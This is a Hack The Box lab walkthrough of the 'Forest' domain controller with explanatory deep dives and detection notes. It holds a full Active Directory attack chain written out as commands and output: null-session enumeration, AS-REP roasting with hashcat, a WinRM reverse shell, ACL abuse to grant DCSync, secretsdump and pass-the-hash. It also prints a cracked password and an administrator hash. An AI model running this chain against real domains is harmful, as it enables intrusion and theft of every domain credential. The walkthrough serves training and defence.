HTB - Forest
Target IP: 10.129.95.210
Domain: htb.local
DC Hostname: FOREST.htb.local
OS: Windows Server 2016 Standard
Difficulty: Easy
Assumed Breach: No — initial access via unauthenticated enumeration
Author: [g1nt0n1x]
1. Phase 1: Reconnaissance & Information Gathering
1.1 TCP Port Discovery
I use nmap-scan, a custom automated wrapper that runs both the full-port sweep and the targeted version/script scan in sequence, saving all results under nmap/ with -oA.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
| smb2-security-mode:
|_ Message signing enabled and required
| smb-security-mode:
|_ message_signing: required
Port Analysis & Attack Surface
| Port | Service | Notes |
|---|---|---|
| 88/tcp | Kerberos | Domain Controller confirmed |
| 389/tcp | LDAP | Domain: htb.local, DC: FOREST.htb.local |
| 445/tcp | SMB | Signing required — relay attacks blocked |
| 5985/tcp | WinRM | Remote shell entry point if valid credentials found |
| 135/tcp | MSRPC | RPC endpoint mapper — usable for group management |
1.2 Local Host Resolution
nxc smb 10.129.95.210 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts2. Phase 2: Unauthenticated Enumeration
2.1 Null / Guest Session Test
Before trying any credentials, test whether the DC accepts unauthenticated (null) sessions. Many older AD environments leave this enabled, and it exposes a significant amount of user and group information via SAMRPC.
# Empty username and password = null session attempt over SMB/RPC
nxc smb 10.129.95.210 -u '' -p '' --users-export usernames.txtThis works here because the DC allows anonymous RPC binding. The --users-export flag queries the SAM Remote Protocol (MS-SAMR) for all domain user accounts and writes them to a file — no credentials required.
3. Phase 3: AS-REP Roasting
3.1 Check for Kerberos Pre-Authentication Disabled
With a username list in hand, test each account for the DONT_REQ_PREAUTH flag. Accounts with this flag set skip the pre-authentication step in the AS-REQ exchange — meaning anyone can request a Ticket Granting Ticket (TGT) on their behalf without supplying a password. The KDC responds with an AS-REP encrypted with the user’s long-term key (derived from their password), which can be taken offline for cracking.
nxc ldap 10.129.95.210 -u usernames.txt -p '' --asreproast AS-REP.hashesResult: svc-alfresco has pre-authentication disabled.
3.2 Crack the AS-REP Hash Offline
# -m 18200: Kerberos 5 AS-REP etype 23 (RC4)
hashcat -m 18200 AS-REP.hashes /usr/share/wordlists/rockyou.txt --force
# svc-alfresco:s3rviceThe hash is an RC4-encrypted blob. Hashcat attacks it dictionary-style — each candidate password is used to derive the RC4 key and decrypt the blob. If it decrypts to a valid Kerberos structure, the password is found.
4. Phase 4: Initial Access via WinRM
WinRM (port 5985) was open during recon. Validate the cracked credentials and establish a shell:
nxc winrm 10.129.95.210 -u svc-alfresco -p s3rvice
# [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)Using nxc-shell (custom tool) to spawn a full reverse shell via Nishang over WinRM:
nxc-shell nishang winrm 10.129.95.210 -u svc-alfresco -p s3rvice
# whoami
# htb\svc-alfresco5. Phase 5: BloodHound Enumeration
5.1 Collect AD Data
With valid credentials and a shell, run BloodHound collection immediately. BloodHound maps every AD object relationship — group memberships, ACLs, GPO links, session data — into a graph that makes privilege escalation paths immediately visible.
nxc ldap 10.129.95.210 -u svc-alfresco -p s3rvice --dns-server 10.129.95.210 --bloodhound --collection All
cp /home/kali/.nxc/logs/FOREST_10.129.95.210_*_bloodhound.zip .Upload the zip to BloodHound CE. Mark svc-alfresco as Owned, then run “Shortest Paths from Owned Objects”.
5.2 Identify the Attack Path
BloodHound reveals a multi-hop ACL chain leading to Domain Admin:
svc-alfresco
|
└─[MemberOf]─► Privileged IT Accounts
|
└─[MemberOf]─► Account Operators
|
└─[GenericAll]─► Exchange Windows Permissions
|
└─[WriteDACL]─► HTB.LOCAL
|
└─[Contains]─► Domain Admins
Each edge is an abusable AD permission. We walk the chain one hop at a time.
6. Phase 6: ACL Abuse Chain
Hop 1: Account Operators → GenericAll → Exchange Windows Permissions
svc-alfresco is a member of Privileged IT Accounts, which is a member of Account Operators — a built-in privileged group. Account Operators has GenericAll over Exchange Windows Permissions.
GenericAll is full control over the target object. On a group, this includes the right to add or remove members.
# Add svc-alfresco directly to Exchange Windows Permissions
net rpc group addmem "EXCHANGE WINDOWS PERMISSIONS" "svc-alfresco" \
-U "htb.local"/"svc-alfresco"%"s3rvice" -S "10.129.95.210"
# Verify membership
net rpc group members "EXCHANGE WINDOWS PERMISSIONS" \
-U "htb.local"/"svc-alfresco"%"s3rvice" -S "10.129.95.210"
# HTB\Exchange Trusted Subsystem
# HTB\svc-alfrescoWe use net rpc (MS-SAMR over RPC port 135/445) rather than LDAP tools here because it works cleanly with cleartext credentials and the port was already confirmed open during recon.
Hop 2: Exchange Windows Permissions → WriteDACL → HTB.LOCAL → DCSync
The Exchange Windows Permissions group has WriteDACL on the domain root (DC=HTB,DC=LOCAL). By joining that group in Hop 1, svc-alfresco now inherits this right.
WriteDACL allows directly modifying the DACL of any AD object — in this case the domain itself. We use this to grant svc-alfresco the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights, which together enable DCSync.
python /usr/share/doc/python3-impacket/examples/dacledit.py \
-action 'write' -rights 'DCSync' \
-principal 'svc-alfresco' \
-target-dn 'DC=HTB,DC=LOCAL' \
'htb.local'/'svc-alfresco':'s3rvice'7. Phase 7: DCSync → Domain Admin
7.1 Dump All Domain Secrets
With DCSync rights granted, svc-alfresco can now impersonate a Domain Controller and request credential replication via the DRSUAPI protocol. This pulls every account’s NT hash directly from NTDS.dit — the domain’s credential database — without touching the DC’s disk or triggering most AV/EDR.
python /usr/share/doc/python3-impacket/examples/secretsdump.py \
htb.local/svc-alfresco:s3rvice@10.129.95.210
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::7.2 Pass the Hash — Validate DA Access
nxc smb 10.129.95.210 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -X whoami
# [+] htb.local\administrator:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)
# htb\administratorDomain compromised.
Deep Dive: BloodHound & AD Graph Enumeration
Active Directory is fundamentally a graph: objects (users, groups, computers, GPOs) are nodes, and relationships (group membership, ACLs, sessions, trusts) are edges. Privilege escalation in AD almost always means traversing this graph from a low-privilege node to a high-privilege one.
BloodHound ingests AD data collected by SharpHound (or the nxc module) and models it as a property graph in Neo4j. It ships with pre-built Cypher queries that answer questions like:
- “What is the shortest path from any owned principal to Domain Admins?”
- “Which users have a path to DA in under 5 hops?”
- “What Kerberoastable accounts have a path to high-value targets?”
Why BloodHound Finds Paths Humans Miss
Manual enumeration checks obvious things: local admin rights, group membership, password policies. BloodHound checks everything simultaneously — including transitive membership (being in a group that is in a group that has a right) and chained ACLs across dozens of objects. The Forest attack path is a perfect example: no single step looks alarming in isolation, but chained together they reach DA.
How to Use It Effectively
- Mark every owned principal — BloodHound’s path queries start from owned nodes. The more you mark, the more paths it reveals.
- Right-click any edge → Help — gives exact abuse commands and detection notes for that specific permission.
- Use “Shortest Paths to Domain Admins” early, then “Shortest Paths from Owned Objects” once you have a foothold.
- Check for Tier 0 assets — BloodHound CE highlights high-value targets (DCs, DA accounts, ADCS servers). Any path to these is worth pursuing.
Deep Dive: AS-REP Roasting
Kerberos pre-authentication exists to prevent offline password attacks against the KDC. During a normal AS-REQ, the client proves it knows the password by encrypting a timestamp with its key — the KDC won’t respond with usable encrypted material unless this proof is valid first.
When DONT_REQ_PREAUTH is set on an account, the KDC skips this proof entirely and returns an AS-REP containing a blob encrypted with the user’s password-derived key. Any unauthenticated attacker on the network can request this blob for any vulnerable account, then crack it offline at their own pace.
Why service accounts are common targets: Service accounts often have this flag set by administrators who want to avoid Kerberos pre-auth issues with legacy applications — without realising the attack surface it creates.
Detection: AS-REP Roasting generates Event ID 4768 (Kerberos AS request) with no corresponding pre-auth. Monitoring for 4768 events without a preceding 4771 is a reliable detection signal.
Deep Dive: ACL Abuse in Active Directory
Every AD object has a Discretionary Access Control List (DACL) — a list of Access Control Entries (ACEs) that define who can do what to that object. These ACEs cover both standard operations (read, write, delete) and AD-specific extended rights (reset password, replicate directory changes, etc.).
ACL misconfigurations are among the most common privilege escalation paths in real environments because:
- They are invisible to users and most monitoring tools
- They are often set intentionally (e.g., Exchange installs
WriteDACLon the domain root by design) - They persist across password resets and account changes
| ACL Right | What it enables |
|---|---|
| GenericAll | Full control → password reset, Shadow Credentials, group membership, any attribute |
| GenericWrite | Write any non-protected attribute → Shadow Credentials, SPN abuse |
| WriteDACL | Modify the object’s DACL → grant yourself any right, including DCSync |
| WriteOwner | Change the object’s owner → then modify its DACL freely |
| ForceChangePassword | Reset password without knowing the current one |
The Exchange WriteDACL Issue (This Box)
Microsoft’s Exchange installation historically granted Exchange Windows Permissions the WriteDACL right on the domain root as part of its hybrid deployment requirements. This is legitimate functionality — but it means anyone who can join that group (via Account Operators, for example) can grant themselves DCSync rights. This is a well-known misconfiguration that persists in many real-world Exchange deployments.
Deep Dive: DCSync
DCSync abuses the Directory Replication Service Remote Protocol (DRSUAPI) — the same protocol real Domain Controllers use to replicate credential data between each other. An account with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights can initiate a replication request and pull every account’s NT hash, including krbtgt.
Key properties that make DCSync dangerous:
- No local access required — runs over the network from any machine
- No disk access — never touches NTDS.dit directly
- Blends in — replication traffic is expected and often unmonitored
krbtgthash — dumping it enables Golden Ticket attacks for persistent access
Detection: Event ID 4662 with DS-Replication-Get-Changes-All GUID from an account that is not a Domain Controller is the primary detection signal. Tools like Microsoft ATA and Defender for Identity alert on this out of the box.
Key Takeaways & Checklist
- On non-assumed-breach boxes, always test for null/guest sessions first — they can give you a full user list without any credentials
- AS-REP Roast your full user list immediately after obtaining it — no credentials needed
- Run BloodHound as soon as you have valid credentials — it maps the entire attack path upfront
- Mark every compromised account as Owned in BloodHound before querying paths
- Account Operators is a dangerous group — members can add users to most non-protected groups, including Exchange-related ones
WriteDACLon the domain root = DCSync = game over; look for this edge on Exchange-integrated environments- DCSync with
secretsdump.pydumps everything: NT hashes, Kerberos keys, cleartext passwords if reversible encryption is enabled - After dumping hashes, validate with
nxc smb -Hbefore attempting lateral movement